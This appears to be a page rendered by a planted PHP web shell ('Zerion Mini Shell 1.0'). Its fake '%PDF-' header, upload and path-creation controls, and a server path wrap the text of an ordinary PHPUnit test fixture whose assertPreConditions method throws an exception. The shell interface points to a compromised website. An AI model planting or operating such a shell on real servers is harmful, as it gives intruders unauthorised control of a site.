%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/digiprint/vendor/phpunit/phpunit/tests/_files/
Upload File :
Create Path :
Current File : /var/www/html/digiprint/vendor/phpunit/phpunit/tests/_files/ExceptionInAssertPreConditionsTest.php

<?php
class ExceptionInAssertPreConditionsTest extends PHPUnit_Framework_TestCase
{
    public $setUp                = false;
    public $assertPreConditions  = false;
    public $assertPostConditions = false;
    public $tearDown             = false;
    public $testSomething        = false;

    protected function setUp()
    {
        $this->setUp = true;
    }

    protected function assertPreConditions()
    {
        $this->assertPreConditions = true;
        throw new Exception;
    }

    public function testSomething()
    {
        $this->testSomething = true;
    }

    protected function assertPostConditions()
    {
        $this->assertPostConditions = true;
    }

    protected function tearDown()
    {
        $this->tearDown = true;
    }
}

Zerion Mini Shell 1.0